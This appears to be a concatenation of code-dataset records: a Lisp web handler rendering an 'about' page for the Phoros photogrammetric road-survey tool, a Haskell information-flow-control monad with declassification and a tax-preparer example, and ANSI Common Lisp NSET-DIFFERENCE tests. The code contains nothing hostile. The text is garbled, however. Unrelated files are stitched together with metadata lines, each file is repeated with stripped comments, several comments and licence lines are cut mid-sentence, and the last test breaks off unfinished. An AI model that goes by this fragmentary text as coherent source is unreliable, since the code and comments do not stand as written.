(:img :src ""
:height 30 :style "vertical-align:middle"
:alt "OpenLayers"))
(who:fmt " ~A." (string-trim " " (remove #\$ openlayers-version))))
(:p "Phoros stores data in a"
(:a :href ""
(:img :src ""
:height 30 :style "vertical-align:middle"
:alt "PostgreSQL"))
(who:fmt " ~{~A (v~A)~}"
(with-restarting-connection *postgresql-credentials*
(cl-utilities:split-sequence
#\Space
(query (:select (:version)) :single)
:count 2)))
" database that is spatially enabled by "
(:a :href ""
(:img :src ""
:height 30 :style "vertical-align:middle"
:alt "PostGIS"))
(who:fmt "version ~A"
(car (cl-utilities:split-sequence
#\Space
(with-restarting-connection *postgresql-credentials*
(query
(:select (:postgis_version))
:single)))))
"."
)
(:h2 "Command Line Interface")
(:p "Most of the administrative tasks are done through the
command line interface. The output of")
(:code "./phoros --help")
(:p "is given below for reference.")
(:pre (who:str (who:escape-string-minimal
(cli:with-options () ()
: It should be possible for to
;; see its own --help message without any
;; involvement of the file system.
(multiple-value-bind (fd name)
(sb-posix:mkstemp "/tmp/phoros-XXXXXX")
(prog1
(with-open-file (s name :direction :io
:if-exists :append
:if-does-not-exist :error)
(sb-posix:close fd)
(cli:help :output-stream s
:line-width 100
:theme "etc/phoros.cth")
(file-position s :start)
(loop
with help-string = ""
for i = (read-line s nil)
while i
do (setf help-string
(concatenate 'string
help-string
i
(string #\Newline)))
finally (return help-string)))
(delete-file name)))))))))))
| null | https://raw.githubusercontent.com/trebb/phoros/c589381e3f4a729c5602c5870a61f1c847edf201/blurb.lisp | lisp |
This program is free software; you can redistribute it and/or modify
either version 2 of the License , or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
if not , write to the Free Software Foundation , Inc. ,
see its own --help message without any
involvement of the file system. | PHOROS -- Photogrammetric Road Survey
Copyright ( C ) 2011 , 2012
it under the terms of the GNU General Public License as published by
You should have received a copy of the GNU General Public License along
51 Franklin Street , Fifth Floor , Boston , USA .
(in-package :phoros)
(hunchentoot:define-easy-handler
(blurb :uri "/phoros/lib/blurb")
(openlayers-version)
(assert-authentication)
(who:with-html-output-to-string (s nil :indent t)
(:html
:xmlns ""
(:head
(:title "Phoros")
(:link :rel "stylesheet"
:href (format nil "/~A/lib/css-~A/style.css"
*proxy-root*
(phoros-version))
:type "text/css"))
(:body
(:h1 :id "title" "Phoros: A Tool for Photogrammetric Road Survey")
(:button :type "button"
:style "float:right"
:onclick (ps-inline (chain self (close)))
"close")
(:p "This is "
(:a :href ""
(:img :src (format nil
"/~A/lib/public_html/phoros-logo-plain.png"
*proxy-root*)
:height 30 :style "vertical-align:middle"
:alt "Phoros"))
(who:fmt "Phoros version ~A," (phoros-version))
" a means for photogrammetric road survey written by"
(:a :href "mailto:Bert Burgemeister <>"
"Bert Burgemeister."))
(:p "Its photogrammetric workhorse is "
(:a :href "mailto:" "Steffen Scheller's")
(who:fmt " library PhoML (version ~A)." (phoml:get-version-number)))
(:a :style "float:left" :href ""
(:img :src ""
:alt "Common Lisp"))
(:p (who:fmt
"Phoros is implemented using Steel Bank Common Lisp (version ~A)"
(lisp-implementation-version))
", an implementation of Common Lisp."
(:a :href ""
(:img :src ""
:height 30 :style "vertical-align:middle"
:alt "SBCL")))
(:p "You are communicating with "
(:a :href ""
(:img :src ""
:height 30 :style "vertical-align:middle"
:alt "Hunchentoot"))
", a Common Lisp web server.")
(:p "Most of the client code running in your browser is or uses"
(:a :href ""
(:img :src ""
:height 30 :style "vertical-align:middle"
:alt "OpenLayers"))
(who:fmt " ~A." (string-trim " " (remove #\$ openlayers-version))))
(:p "Phoros stores data in a"
(:a :href ""
(:img :src ""
:height 30 :style "vertical-align:middle"
:alt "PostgreSQL"))
(who:fmt " ~{~A (v~A)~}"
(with-restarting-connection *postgresql-credentials*
(cl-utilities:split-sequence
#\Space
(query (:select (:version)) :single)
:count 2)))
" database that is spatially enabled by "
(:a :href ""
(:img :src ""
:height 30 :style "vertical-align:middle"
:alt "PostGIS"))
(who:fmt "version ~A"
(car (cl-utilities:split-sequence
#\Space
(with-restarting-connection *postgresql-credentials*
(query
(:select (:postgis_version))
:single)))))
"."
)
(:h2 "Command Line Interface")
(:p "Most of the administrative tasks are done through the
command line interface. The output of")
(:code "./phoros --help")
(:p "is given below for reference.")
(:pre (who:str (who:escape-string-minimal
(cli:with-options () ()
: It should be possible for to
(multiple-value-bind (fd name)
(sb-posix:mkstemp "/tmp/phoros-XXXXXX")
(prog1
(with-open-file (s name :direction :io
:if-exists :append
:if-does-not-exist :error)
(sb-posix:close fd)
(cli:help :output-stream s
:line-width 100
:theme "etc/phoros.cth")
(file-position s :start)
(loop
with help-string = ""
for i = (read-line s nil)
while i
do (setf help-string
(concatenate 'string
help-string
i
(string #\Newline)))
finally (return help-string)))
(delete-file name)))))))))))
|
d4077a3426421111498385052fabeba811e2be3cabfc3b928a2dc0c9ec85b18e | haroldcarr/learn-haskell-coq-ml-etc | S.hs | # LANGUAGE RankNTypes , FlexibleContexts #
# LANGUAGE MultiParamTypeClasses , FunctionalDependencies #
{-# LANGUAGE TypeSynonymInstances, FlexibleInstances #-}
# LANGUAGE NamedFieldPuns #
module S where
import Control.Monad
import Control.Monad.Reader
import Data.List
import Data.Maybe
import Data.IORef
import Text.Printf
import DLM
------------------------------------------------------------------------------
newtype RDR a = RDR { runRDR :: ReaderT Env IO a }
instance Monad RDR where
return = RDR . return
(RDR c) >>= f = RDR (do v <- c; runRDR (f v))
instance MonadIO RDR where
liftIO c = RDR (liftIO c)
instance MonadReader Env RDR where
ask = RDR ask
local f c = RDR (local f (runRDR c))
--
newtype Protected a = Protected (a,Label)
type R a = IORef (Protected a)
data Proc m a b = Proc {
pcL :: Label,
auth :: Principal,
argL :: Label,
resL :: Label,
code :: Protected a -> m (Protected b) -- extend to recursive functions
}
type Env = ([Principal],PermissionContext,Principal,Label)
--
class (Monad m, MonadIO m, MonadReader Env m) => M m where
runM :: Env -> m (Protected a) -> IO a
returnM :: Protected a -> m (Protected a)
localUserM :: Principal -> m (Protected a) -> m (Protected a)
tagM :: Label -> a -> m (Protected a)
binopM :: (a -> b -> c) ->
Protected a -> Protected b ->
m (Protected c)
ifM :: Protected Bool ->
m (Protected a) -> m (Protected a) -> m (Protected a)
callM :: Protected (Proc m a b) -> Protected a -> m (Protected b)
newM :: Label -> Protected a -> m (Protected (R a))
readM :: Protected (R a) -> m (Protected a)
writeM :: Protected (R a) -> Protected a -> m (Protected ())
declassifyM :: Protected a -> Label -> m (Protected a)
instance M RDR where
runM env c =
runReaderT (runRDR
(do v <- c
Protected (v',_) <- declassifyM v leastRestrictiveL
return v'))
env
returnM e = -- need to make sure that every function ends with returnM
do (allPs, perms, olduser,pc) <- ask
let Protected (v,vlab) = e
return (Protected (v, joinL vlab pc))
localUserM user c =
do (allPs, perms, olduser,pc) <- ask
if actsFor perms olduser user
then local (\_ -> (allPs, perms, user,pc)) c
else error "localUserM"
tagM vlab v = return (Protected (v,vlab))
binopM op e1 e2 =
do let Protected (v,vlab) = e1
Protected (w,wlab) = e2
return (Protected (v `op` w, joinL vlab wlab))
ifM e c1 c2 =
do (allPs, perms, user,pc) <- ask
let Protected (v,vlab) = e
local
(\_ -> (allPs, perms, user, joinL pc vlab))
(if v then c1 else c2)
callM proc e =
do (allPs, perms, user,pc) <- ask
let Protected (Proc {pcL, auth, argL, resL, code}, plab) = proc
Protected (v,vlab) = e
if noMoreRestrictiveThanL allPs perms user (joinL pc plab) pcL &&
actsFor perms user auth &&
noMoreRestrictiveThanL allPs perms user (joinL pc vlab) argL
then local (\_ -> (allPs, perms, auth, pcL)) $
do Protected (w,wlab) <- code (Protected (v, argL))
if noMoreRestrictiveThanL allPs perms user (joinL pcL wlab) resL
then return (Protected (w, resL))
else error "callM-Out"
else error "callM-In"
newM xlab e =
do (allPs, perms, user, pc) <- ask
let Protected (v,vlab) = e
if noMoreRestrictiveThanL allPs perms user pc xlab &&
noMoreRestrictiveThanL allPs perms user (joinL pc vlab) xlab
then do x <- liftIO $ newIORef (Protected (v,xlab))
return (Protected (x,pc))
else error "newM"
readM r =
do let Protected (x,xlab) = r
Protected (v,vlab) <- liftIO $ readIORef x
return (Protected (v, joinL vlab xlab))
writeM r e =
do (allPs, perms, user, pc) <- ask
let Protected (x,xlab) = r
Protected (v,vlab) = e
Protected (_,vlab') <- liftIO $ readIORef x
if noMoreRestrictiveThanL allPs perms user (joinL pc xlab) vlab &&
noMoreRestrictiveThanL allPs perms user (joinL pc vlab) vlab'
then do liftIO $ writeIORef x (Protected (v, vlab'))
return (Protected ((),pc))
else error "writeM"
declassifyM e newL@(L newR newW) = -- declassify/endorse
do (allps,perms,user,pc) <- ask
let Protected (v,L vr vw) = e
let labR = JoinRP newR (RP user TopP)
labW = MeetWP newW (WP user BottomP)
if noMoreRestrictiveThanRP allps perms user vr labR &&
noMoreRestrictiveThanWP allps perms user labW vw
then return (Protected (v, newL))
else error "declassifyM"
------------------------------------------------------------------------------
-- Tax preparer
bob, taxUser, preparer :: Principal
bob = Name "Bob"
taxUser = Name "Tax user"
preparer = Name "Preparer"
privateRL :: Principal -> Label
privateRL p = L (RP p p) leastRestrictiveWP
taxPermissions :: PermissionContext
taxPermissions = [(bob,taxUser)]
bobL, preparerL, taxUserL :: Label
bobL = privateRL bob
preparerL = privateRL preparer
taxUserL = privateRL taxUser
bobC :: Protected (Proc RDR Int Int) -> RDR (Protected Int)
bobC preparerProc =
localUserM taxUser $
do v1 <- tagM leastRestrictiveL 1
spreadsheet <- newM taxUserL v1
s <- readM spreadsheet
v10 <- tagM leastRestrictiveL 10
taxdata <- binopM (+) s v10
returnM taxdata
preparerC :: RDR (Protected (Proc RDR Int Int))
preparerC =
localUserM preparer $
do v100 <- tagM leastRestrictiveL 100
database <- newM preparerL v100
tagM leastRestrictiveL $
Proc {
pcL = preparerL,
argL = joinL taxUserL preparerL,
resL = taxUserL,
auth = preparer,
code = \e -> do d <- readM database
v' <- binopM (+) e d
declassifyM v' taxUserL
}
taxC = runM ([bob,taxUser,preparer],taxPermissions,TopP,leastRestrictiveL) $
do preparerProc <- preparerC
taxdata <- bobC preparerProc
finaltaxform <- callM preparerProc taxdata
form <- declassifyM finaltaxform leastRestrictiveL
returnM form
| null | https://raw.githubusercontent.com/haroldcarr/learn-haskell-coq-ml-etc/eb6362cba13c18cfddbbda9fadae21f4f39cd8fc/haskell/topic/info-flow-security/2013-encoding-secure-info-flow-with-restricted-delegation-and-revocation/S.hs | haskell | # LANGUAGE TypeSynonymInstances, FlexibleInstances #
----------------------------------------------------------------------------
extend to recursive functions
need to make sure that every function ends with returnM
declassify/endorse
----------------------------------------------------------------------------
Tax preparer
| # LANGUAGE RankNTypes , FlexibleContexts #
# LANGUAGE MultiParamTypeClasses , FunctionalDependencies #
# LANGUAGE NamedFieldPuns #
module S where
import Control.Monad
import Control.Monad.Reader
import Data.List
import Data.Maybe
import Data.IORef
import Text.Printf
import DLM
newtype RDR a = RDR { runRDR :: ReaderT Env IO a }
instance Monad RDR where
return = RDR . return
(RDR c) >>= f = RDR (do v <- c; runRDR (f v))
instance MonadIO RDR where
liftIO c = RDR (liftIO c)
instance MonadReader Env RDR where
ask = RDR ask
local f c = RDR (local f (runRDR c))
newtype Protected a = Protected (a,Label)
type R a = IORef (Protected a)
data Proc m a b = Proc {
pcL :: Label,
auth :: Principal,
argL :: Label,
resL :: Label,
}
type Env = ([Principal],PermissionContext,Principal,Label)
class (Monad m, MonadIO m, MonadReader Env m) => M m where
runM :: Env -> m (Protected a) -> IO a
returnM :: Protected a -> m (Protected a)
localUserM :: Principal -> m (Protected a) -> m (Protected a)
tagM :: Label -> a -> m (Protected a)
binopM :: (a -> b -> c) ->
Protected a -> Protected b ->
m (Protected c)
ifM :: Protected Bool ->
m (Protected a) -> m (Protected a) -> m (Protected a)
callM :: Protected (Proc m a b) -> Protected a -> m (Protected b)
newM :: Label -> Protected a -> m (Protected (R a))
readM :: Protected (R a) -> m (Protected a)
writeM :: Protected (R a) -> Protected a -> m (Protected ())
declassifyM :: Protected a -> Label -> m (Protected a)
instance M RDR where
runM env c =
runReaderT (runRDR
(do v <- c
Protected (v',_) <- declassifyM v leastRestrictiveL
return v'))
env
do (allPs, perms, olduser,pc) <- ask
let Protected (v,vlab) = e
return (Protected (v, joinL vlab pc))
localUserM user c =
do (allPs, perms, olduser,pc) <- ask
if actsFor perms olduser user
then local (\_ -> (allPs, perms, user,pc)) c
else error "localUserM"
tagM vlab v = return (Protected (v,vlab))
binopM op e1 e2 =
do let Protected (v,vlab) = e1
Protected (w,wlab) = e2
return (Protected (v `op` w, joinL vlab wlab))
ifM e c1 c2 =
do (allPs, perms, user,pc) <- ask
let Protected (v,vlab) = e
local
(\_ -> (allPs, perms, user, joinL pc vlab))
(if v then c1 else c2)
callM proc e =
do (allPs, perms, user,pc) <- ask
let Protected (Proc {pcL, auth, argL, resL, code}, plab) = proc
Protected (v,vlab) = e
if noMoreRestrictiveThanL allPs perms user (joinL pc plab) pcL &&
actsFor perms user auth &&
noMoreRestrictiveThanL allPs perms user (joinL pc vlab) argL
then local (\_ -> (allPs, perms, auth, pcL)) $
do Protected (w,wlab) <- code (Protected (v, argL))
if noMoreRestrictiveThanL allPs perms user (joinL pcL wlab) resL
then return (Protected (w, resL))
else error "callM-Out"
else error "callM-In"
newM xlab e =
do (allPs, perms, user, pc) <- ask
let Protected (v,vlab) = e
if noMoreRestrictiveThanL allPs perms user pc xlab &&
noMoreRestrictiveThanL allPs perms user (joinL pc vlab) xlab
then do x <- liftIO $ newIORef (Protected (v,xlab))
return (Protected (x,pc))
else error "newM"
readM r =
do let Protected (x,xlab) = r
Protected (v,vlab) <- liftIO $ readIORef x
return (Protected (v, joinL vlab xlab))
writeM r e =
do (allPs, perms, user, pc) <- ask
let Protected (x,xlab) = r
Protected (v,vlab) = e
Protected (_,vlab') <- liftIO $ readIORef x
if noMoreRestrictiveThanL allPs perms user (joinL pc xlab) vlab &&
noMoreRestrictiveThanL allPs perms user (joinL pc vlab) vlab'
then do liftIO $ writeIORef x (Protected (v, vlab'))
return (Protected ((),pc))
else error "writeM"
do (allps,perms,user,pc) <- ask
let Protected (v,L vr vw) = e
let labR = JoinRP newR (RP user TopP)
labW = MeetWP newW (WP user BottomP)
if noMoreRestrictiveThanRP allps perms user vr labR &&
noMoreRestrictiveThanWP allps perms user labW vw
then return (Protected (v, newL))
else error "declassifyM"
bob, taxUser, preparer :: Principal
bob = Name "Bob"
taxUser = Name "Tax user"
preparer = Name "Preparer"
privateRL :: Principal -> Label
privateRL p = L (RP p p) leastRestrictiveWP
taxPermissions :: PermissionContext
taxPermissions = [(bob,taxUser)]
bobL, preparerL, taxUserL :: Label
bobL = privateRL bob
preparerL = privateRL preparer
taxUserL = privateRL taxUser
bobC :: Protected (Proc RDR Int Int) -> RDR (Protected Int)
bobC preparerProc =
localUserM taxUser $
do v1 <- tagM leastRestrictiveL 1
spreadsheet <- newM taxUserL v1
s <- readM spreadsheet
v10 <- tagM leastRestrictiveL 10
taxdata <- binopM (+) s v10
returnM taxdata
preparerC :: RDR (Protected (Proc RDR Int Int))
preparerC =
localUserM preparer $
do v100 <- tagM leastRestrictiveL 100
database <- newM preparerL v100
tagM leastRestrictiveL $
Proc {
pcL = preparerL,
argL = joinL taxUserL preparerL,
resL = taxUserL,
auth = preparer,
code = \e -> do d <- readM database
v' <- binopM (+) e d
declassifyM v' taxUserL
}
taxC = runM ([bob,taxUser,preparer],taxPermissions,TopP,leastRestrictiveL) $
do preparerProc <- preparerC
taxdata <- bobC preparerProc
finaltaxform <- callM preparerProc taxdata
form <- declassifyM finaltaxform leastRestrictiveL
returnM form
|
c2f5eb60f233a033a52a9079db7f43ea8a0379cbbdde280c1361f85303f09a5d | rtoy/ansi-cl-tests | nset-difference.lsp | ;-*- Mode: Lisp -*-
Author :
Created : Sun Apr 20 07:44:44 2003
Contains : Tests of NSET - DIFFERENCE
(in-package :cl-test)
(compile-and-load "cons-aux.lsp")
(deftest nset-difference.1
(nset-difference nil nil)
nil)
(deftest nset-difference.2
(let ((result
(nset-difference-with-check '(a b c) nil)))
(check-nset-difference '(a b c) nil result))
t)
(deftest nset-difference.3
(let ((result
(nset-difference-with-check '(a b c d e f) '(f b d))))
(check-nset-difference '(a b c d e f) '(f b d) result))
t)
(deftest nset-difference.4
(sort
(copy-list
(nset-difference-with-check (shuffle '(1 2 3 4 5 6 7 8))
'(10 101 4 74 2 1391 7 17831)))
#'<)
(1 3 5 6 8))
(deftest nset-difference.5
(nset-difference-with-check nil '(a b c d e f g h))
nil)
(deftest nset-difference.6
(nset-difference-with-check '(a b c d e) '(d a b e)
:key nil)
(c))
(deftest nset-difference.7
(nset-difference-with-check '(a b c d e) '(d a b e) :test #'eq)
(c))
(deftest nset-difference.8
(nset-difference-with-check '(a b c d e) '(d a b e) :test #'eql)
(c))
(deftest nset-difference.9
(nset-difference-with-check '(a b c d e) '(d a b e) :test #'equal)
(c))
(deftest nset-difference.10
(nset-difference-with-check '(a b c d e) '(d a b e)
:test 'eq)
(c))
(deftest nset-difference.11
(nset-difference-with-check '(a b c d e) '(d a b e)
:test 'eql)
(c))
(deftest nset-difference.12
(nset-difference-with-check '(a b c d e) '(d a b e)
:test 'equal)
(c))
(deftest nset-difference.13
(do-random-nset-differences 100 100)
nil)
(deftest nset-difference.14
(nset-difference-with-check '((a . 1) (b . 2) (c . 3))
'((a . 1) (c . 3))
:key 'car)
((b . 2)))
(deftest nset-difference.15
(nset-difference-with-check '((a . 1) (b . 2) (c . 3))
'((a . 1) (c . 3))
:key #'car)
((b . 2)))
;;
;; Verify that the :test argument is called with the arguments
;; in the correct order
;;
(deftest nset-difference.16
(block fail
(sort
(copy-list
(nset-difference-with-check
'(1 2 3 4) '(e f g h)
:test #'(lambda (x y)
(when (or (member x '(e f g h))
(member y '(1 2 3 4)))
(return-from fail 'fail))
(eqt x y))))
#'<))
(1 2 3 4))
(deftest nset-difference.17
(block fail
(sort
(copy-list
(nset-difference-with-check
'(1 2 3 4) '(e f g h)
:key #'identity
:test #'(lambda (x y)
(when (or (member x '(e f g h))
(member y '(1 2 3 4)))
(return-from fail 'fail))
(eqt x y))))
#'<))
(1 2 3 4))
(deftest nset-difference.18
(block fail
(sort
(copy-list
(nset-difference-with-check
'(1 2 3 4) '(e f g h)
:test-not
#'(lambda (x y)
(when (or (member x '(e f g h))
(member y '(1 2 3 4)))
(return-from fail 'fail))
(not (eqt x y)))))
#'<))
(1 2 3 4))
(deftest nset-difference.19
(block fail
(sort (copy-list
(nset-difference-with-check
'(1 2 3 4) '(e f g h)
:test-not
#'(lambda (x y)
(when (or (member x '(e f g h))
(member y '(1 2 3 4)))
(return-from fail 'fail))
(not (eqt x y)))))
#'<))
(1 2 3 4))
(defharmless nset-difference.test-and-test-not.1
(nset-difference (list 1 2 3 4) (list 1 7 3 8) :test #'eql :test-not #'eql))
(defharmless nset-difference.test-and-test-not.2
(nset-difference (list 1 2 3 4) (list 1 7 3 8) :test-not #'eql :test #'eql))
;;; Order of argument evaluation tests
(deftest nset-difference.order.1
(let ((i 0) x y)
(values
(nset-difference (progn (setf x (incf i)) (list 1 2 3 4))
(progn (setf y (incf i)) (list 2 3 4)))
i x y))
(1) 2 1 2)
(deftest nset-difference.order.2
(let ((i 0) x y z)
(values
(nset-difference (progn (setf x (incf i)) (list 1 2 3 4))
(progn (setf y (incf i)) (list 2 3 4))
:test (progn (setf z (incf i))
#'(lambda (x y) (= x (1- y)))))
i x y z))
(4) 3 1 2 3)
(deftest nset-difference.order.3
(let ((i 0) x y z w)
(values
(nset-difference (progn (setf x (incf i)) (list 1 2 3 4))
(progn (setf y (incf i)) (list 2 3 4))
:test (progn (setf z (incf i))
#'(lambda (x y) (= x (1- y))))
:key (progn (setf w (incf i)) nil))
i x y z w))
(4) 4 1 2 3 4)
;;; Keyword tests
(deftest nset-difference.allow-other-keys.1
(sort
(copy-list
(nset-difference
(list 1 2 3 4 5) (list 2 3 4)
:bad t :allow-other-keys t))
#'<)
(1 5))
(deftest nset-difference.allow-other-keys.2
(sort
(copy-list
(nset-difference
(list 1 2 3 4 5) (list 2 3 4)
:allow-other-keys t :bad t))
#'<)
(1 5))
(deftest nset-difference.allow-other-keys.3
(sort
(copy-list
(nset-difference
(list 1 2 3 4 5) (list 2 3 4)
:allow-other-keys t :bad t :test #'(lambda (x y) (= x (1- y)))))
#'<)
(4 5))
(deftest nset-difference.allow-other-keys.4
(sort
(copy-list
(nset-difference
(list 1 2 3 4 5) (list 2 3 4)
:allow-other-keys t))
#'<)
(1 5))
(deftest nset-difference.allow-other-keys.5
(sort
(copy-list
(nset-difference
(list 1 2 3 4 5) (list 2 3 4)
:allow-other-keys nil))
#'<)
(1 5))
(deftest nset-difference.allow-other-keys.6
(sort
(copy-list
(nset-difference
(list 1 2 3 4 5) (list 2 3 4)
:allow-other-keys t
:allow-other-keys nil))
#'<)
(1 5))
(deftest nset-difference.allow-other-keys.7
(sort
(copy-list
(nset-difference
(list 1 2 3 4 5) (list 2 3 4)
:allow-other-keys t
:allow-other-keys nil
'#:x 1))
#'<)
(1 5))
(deftest nset-difference.keywords.8
(sort
(copy-list
(nset-difference
(list 1 2 3 4 5) (list 2 3 4)
:test #'eql :test (complement #'eql)))
#'<)
(1 5))
(deftest nset-difference.keywords.9
(sort
(copy-list
(nset-difference
(list 1 2 3 4 5) (list 2 3 4)
:test (complement #'eql) :test #'eql))
#'<)
nil)
;;; Error tests
(deftest nset-difference.error.1
(signals-error (nset-difference) program-error)
t)
(deftest nset-difference.error.2
(signals-error (nset-difference nil) program-error)
t)
(deftest nset-difference.error.3
(signals-error (nset-difference nil nil :bad t) program-error)
t)
(deftest nset-difference.error.4
(signals-error (nset-difference nil nil :key) program-error)
t)
(deftest nset-difference.error.5
(signals-error (nset-difference nil nil 1 2) program-error)
t)
(deftest nset-difference.error.6
(signals-error (nset-difference nil nil :bad t :allow-other-keys nil) program-error)
t)
(deftest nset-difference.error.7
(signals-error (nset-difference (list 1 2) (list 3 4) :test #'identity) program-error)
t)
(deftest nset-difference.error.8
(signals-error (nset-difference (list 1 2) (list 3 4) :test-not #'identity) program-error)
t)
(deftest nset-difference.error.9
(signals-error (nset-difference (list 1 2) (list 3 4) :key #'cons) program-error)
t)
(deftest nset-difference.error.10
(signals-error (nset-difference (list 1 2) (list 3 4) :key #'car) type-error)
t)
(deftest nset-difference.error.11
(signals-error (nset-difference (list 1 2 3) (list* 4 5 6)) type-error)
t)
(deftest nset-difference.error.12
(signals-error (nset-difference (list* 1 2 3) (list 4 5 6)) type-error)
t)
(deftest nset-difference.error.13
(check-type-error #'(lambda (x) (nset-difference (list 'a 'b) x)) #'listp)
nil)
(deftest nset-difference.error.14
(check-type-error #'(lambda (x) (nset-difference x (list 'a 'b))) #'listp)
nil)
| null | https://raw.githubusercontent.com/rtoy/ansi-cl-tests/9708f3977220c46def29f43bb237e97d62033c1d/nset-difference.lsp | lisp | -*- Mode: Lisp -*-
Verify that the :test argument is called with the arguments
in the correct order
Order of argument evaluation tests
Keyword tests
Error tests | Author :
Created : Sun Apr 20 07:44:44 2003
Contains : Tests of NSET - DIFFERENCE
(in-package :cl-test)
(compile-and-load "cons-aux.lsp")
(deftest nset-difference.1
(nset-difference nil nil)
nil)
(deftest nset-difference.2
(let ((result
(nset-difference-with-check '(a b c) nil)))
(check-nset-difference '(a b c) nil result))
t)
(deftest nset-difference.3
(let ((result
(nset-difference-with-check '(a b c d e f) '(f b d))))
(check-nset-difference '(a b c d e f) '(f b d) result))
t)
(deftest nset-difference.4
(sort
(copy-list
(nset-difference-with-check (shuffle '(1 2 3 4 5 6 7 8))
'(10 101 4 74 2 1391 7 17831)))
#'<)
(1 3 5 6 8))
(deftest nset-difference.5
(nset-difference-with-check nil '(a b c d e f g h))
nil)
(deftest nset-difference.6
(nset-difference-with-check '(a b c d e) '(d a b e)
:key nil)
(c))
(deftest nset-difference.7
(nset-difference-with-check '(a b c d e) '(d a b e) :test #'eq)
(c))
(deftest nset-difference.8
(nset-difference-with-check '(a b c d e) '(d a b e) :test #'eql)
(c))
(deftest nset-difference.9
(nset-difference-with-check '(a b c d e) '(d a b e) :test #'equal)
(c))
(deftest nset-difference.10
(nset-difference-with-check '(a b c d e) '(d a b e)
:test 'eq)
(c))
(deftest nset-difference.11
(nset-difference-with-check '(a b c d e) '(d a b e)
:test 'eql)
(c))
(deftest nset-difference.12
(nset-difference-with-check '(a b c d e) '(d a b e)
:test 'equal)
(c))
(deftest nset-difference.13
(do-random-nset-differences 100 100)
nil)
(deftest nset-difference.14
(nset-difference-with-check '((a . 1) (b . 2) (c . 3))
'((a . 1) (c . 3))
:key 'car)
((b . 2)))
(deftest nset-difference.15
(nset-difference-with-check '((a . 1) (b . 2) (c . 3))
'((a . 1) (c . 3))
:key #'car)
((b . 2)))
(deftest nset-difference.16
(block fail
(sort
(copy-list
(nset-difference-with-check
'(1 2 3 4) '(e f g h)
:test #'(lambda (x y)
(when (or (member x '(e f g h))
(member y '(1 2 3 4)))
(return-from fail 'fail))
(eqt x y))))
#'<))
(1 2 3 4))
(deftest nset-difference.17
(block fail
(sort
(copy-list
(nset-difference-with-check
'(1 2 3 4) '(e f g h)
:key #'identity
:test #'(lambda (x y)
(when (or (member x '(e f g h))
(member y '(1 2 3 4)))
(return-from fail 'fail))
(eqt x y))))
#'<))
(1 2 3 4))
(deftest nset-difference.18
(block fail
(sort
(copy-list
(nset-difference-with-check
'(1 2 3 4) '(e f g h)
:test-not
#'(lambda (x y)
(when (or (member x '(e f g h))
(member y '(1 2 3 4)))
(return-from fail 'fail))
(not (eqt x y)))))
#'<))
(1 2 3 4))
(deftest nset-difference.19
(block fail
(sort (copy-list
(nset-difference-with-check
'(1 2 3 4) '(e f g h)
:test-not
#'(lambda (x y)
(when (or (member x '(e f g h))
(member y '(1 2 3 4)))
(return-from fail 'fail))
(not (eqt x y)))))
#'<))
(1 2 3 4))
(defharmless nset-difference.test-and-test-not.1
(nset-difference (list 1 2 3 4) (list 1 7 3 8) :test #'eql :test-not #'eql))
(defharmless nset-difference.test-and-test-not.2
(nset-difference (list 1 2 3 4) (list 1 7 3 8) :test-not #'eql :test #'eql))
(deftest nset-difference.order.1
(let ((i 0) x y)
(values
(nset-difference (progn (setf x (incf i)) (list 1 2 3 4))
(progn (setf y (incf i)) (list 2 3 4)))
i x y))
(1) 2 1 2)
(deftest nset-difference.order.2
(let ((i 0) x y z)
(values
(nset-difference (progn (setf x (incf i)) (list 1 2 3 4))
(progn (setf y (incf i)) (list 2 3 4))
:test (progn (setf z (incf i))
#'(lambda (x y) (= x (1- y)))))
i x y z))
(4) 3 1 2 3)
(deftest nset-difference.order.3
(let ((i 0) x y z w)
(values
(nset-difference (progn (setf x (incf i)) (list 1 2 3 4))
(progn (setf y (incf i)) (list 2 3 4))
:test (progn (setf z (incf i))
#'(lambda (x y) (= x (1- y))))
:key (progn (setf w (incf i)) nil))
i x y z w))
(4) 4 1 2 3 4)
(deftest nset-difference.allow-other-keys.1
(sort
(copy-list
(nset-difference
(list 1 2 3 4 5) (list 2 3 4)
:bad t :allow-other-keys t))
#'<)
(1 5))
(deftest nset-difference.allow-other-keys.2
(sort
(copy-list
(nset-difference
(list 1 2 3 4 5) (list 2 3 4)
:allow-other-keys t :bad t))
#'<)
(1 5))
(deftest nset-difference.allow-other-keys.3
(sort
(copy-list
(nset-difference
(list 1 2 3 4 5) (list 2 3 4)
:allow-other-keys t :bad t :test #'(lambda (x y) (= x (1- y)))))
#'<)
(4 5))
(deftest nset-difference.allow-other-keys.4
(sort
(copy-list
(nset-difference
(list 1 2 3 4 5) (list 2 3 4)
:allow-other-keys t))
#'<)
(1 5))
(deftest nset-difference.allow-other-keys.5
(sort
(copy-list
(nset-difference
(list 1 2 3 4 5) (list 2 3 4)
:allow-other-keys nil))
#'<)
(1 5))
(deftest nset-difference.allow-other-keys.6
(sort
(copy-list
(nset-difference
(list 1 2 3 4 5) (list 2 3 4)
:allow-other-keys t
:allow-other-keys nil))
#'<)
(1 5))
(deftest nset-difference.allow-other-keys.7
(sort
(copy-list
(nset-difference
(list 1 2 3 4 5) (list 2 3 4)
:allow-other-keys t
:allow-other-keys nil
'#:x 1))
#'<)
(1 5))
(deftest nset-difference.keywords.8
(sort
(copy-list
(nset-difference
(list 1 2 3 4 5) (list 2 3 4)
:test #'eql :test (complement #'eql)))
#'<)
(1 5))
(deftest nset-difference.keywords.9
(sort
(copy-list
(nset-difference
(list 1 2 3 4 5) (list 2 3 4)
:test (complement #'eql) :test #'eql))
#'<)
nil)
(deftest nset-difference.error.1
(signals-error (nset-difference) program-error)
t)
(deftest nset-difference.error.2
(signals-error (nset-difference nil) program-error)
t)
(deftest nset-difference.error.3
(signals-error (nset-difference nil nil :bad t) program-error)
t)
(deftest nset-difference.error.4
(signals-error (nset-difference nil nil :key) program-error)
t)
(deftest nset-difference.error.5
(signals-error (nset-difference nil nil 1 2) program-error)
t)
(deftest nset-difference.error.6
(signals-error (nset-difference nil nil :bad t :allow-other-keys nil) program-error)
t)
(deftest nset-difference.error.7
(signals-error (nset-difference (list 1 2) (list 3 4) :test #'identity) program-error)
t)
(deftest nset-difference.error.8
(signals-error (nset-difference (list 1 2) (list 3 4) :test-not #'identity) program-error)
t)
(deftest nset-difference.error.9
(signals-error (nset-difference (list 1 2) (list 3 4) :key #'cons) program-error)
t)
(deftest nset-difference.error.10
(signals-error (nset-difference (list 1 2) (list 3 4) :key #'car) type-error)
t)
(deftest nset-difference.error.11
